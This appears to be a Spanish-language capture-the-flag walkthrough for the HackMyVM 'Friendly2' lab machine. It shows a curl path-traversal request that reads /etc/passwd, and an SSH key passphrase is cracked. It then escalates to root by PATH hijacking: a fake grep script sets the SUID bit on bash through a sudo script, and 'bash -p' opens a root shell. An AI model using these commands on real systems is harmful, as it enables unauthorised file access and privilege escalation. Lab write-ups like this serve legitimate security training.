HackMyVM - Friendly2

logo

  • Directory Path Traversal
  • Brute Force id_rsa
  • Path Hijacking

Escaneo de puertos

❯ nmap -p- -T5 -v -n 192.168.1.14

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.14 -oN servicios

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 74fdf1a7475bad8e8a3102fe44289fd2 (RSA)
|   256 16f0de5109fffc08a29a69a0ad42a048 (ECDSA)
|_  256 650eed44e23ef0e7600c759363952056 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Servicio de Mantenimiento de Ordenadores
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

logo

Escaneo de directorios con el script http-enum de nmap.

❯ nmap --script http-enum -p 80 192.168.1.14

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|_  /tools/: Potentially interesting folder

Me voy a directorio encontrado.

logo

Hago ctrl+u y en el código fuente encuentro esto.

logo

Visualizo la nueva ruta.

logo

Consigo leer el fichero passwd mediante un path traversal y enumero un usuario.

❯ curl -s "http://192.168.1.14/tools/check_if_exist.php?doc=../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
gh0st:x:1001:1001::/home/gh0st:/bin/bash

Encuentro una llave rsa.

logo

Consigo el passphrase del usuario gh0st con esta herramienta.

logo

Una vez dentro del sistema hago una enumeración de permisos con sudo.

gh0st@friendly2:~$ sudo -l
Matching Defaults entries for gh0st on friendly2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User gh0st may run the following commands on friendly2:
    (ALL : ALL) SETENV: NOPASSWD: /opt/security.sh

Archivo security.sh

#!/bin/bash

echo "Enter the string to encode:"
read string

# Validate that the string is no longer than 20 characters
if [[ ${#string} -gt 20 ]]; then
  echo "The string cannot be longer than 20 characters."
  exit 1
fi

# Validate that the string does not contain special characters
if echo "$string" | grep -q '[^[:alnum:] ]'; then
  echo "The string cannot contain special characters."
  exit 1
fi

sus1='A-Za-z'
sus2='N-ZA-Mn-za-m'

encoded_string=$(echo "$string" | tr $sus1 $sus2)

echo "Original string: $string"
echo "Encoded string: $encoded_string"

Privesc

Me muevo al directorio /tmp creo un archivo con el nombre grep y le doy permisos de ejecución.

gh0st@friendly2:/tmp$ nano grep
gh0st@friendly2:/tmp$ chmod +x grep

Con nano edito el archivo y le pongo lo siguiente:

chmod 4755 $(which bash)

Obtengo el path.

gh0st@friendly2:/tmp$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
[1]+  Done                    echo

Lanzo el script con el path modificado.

gh0st@friendly2:/tmp$ sudo PATH=/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games /opt/security.sh
Enter the string to encode:
h4x0r
The string cannot contain special characters.

Verifico que todo ha salido correctamente.

gh0st@friendly2:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash

Obtengo el root.

gh0st@friendly2:/tmp$ bash -p
bash-5.1# id
uid=1001(gh0st) gid=1001(gh0st) euid=0(root) groups=1001(gh0st)

Si intento leer la flag veo el siguiente mensaje.

bash-5.1# cat /root/root.txt 
Not yet! Try to find root.txt.

Hint: ...

Hago una búsqueda con find y encuentra un directorio.


bash-5.1# find / -name "..." -d 2>/dev/null
/...

Visualizo el directorio y encuentro el archivo ebbg.txt.

bash-5.1# ls -la /...
total 12
d-wx------  2 root root 4096 Apr 29 04:19 .
drwxr-xr-x 19 root root 4096 Apr 27 16:41 ..
-r--------  1 root root  100 Apr 29 04:19 ebbg.txt

Como curiosidad el nombre del archivo de texto está codificado con security.sh.

bash-5.1# /opt/./security.sh 
Enter the string to encode:
ebbg
Original string: ebbg
Encoded string: root

Al visualizar el contenido de root.txt me muestra el siguiente mensaje.

bash-5.1# cat /.../ebbg.txt 
It's codified, look the cipher:

98199n723q0s44s6rs39r33685q8pnoq

Para encontrar la codificación usada sólo hay que probar con codificaciones que más se usan en ctf.

Y aquí termina Friendly2.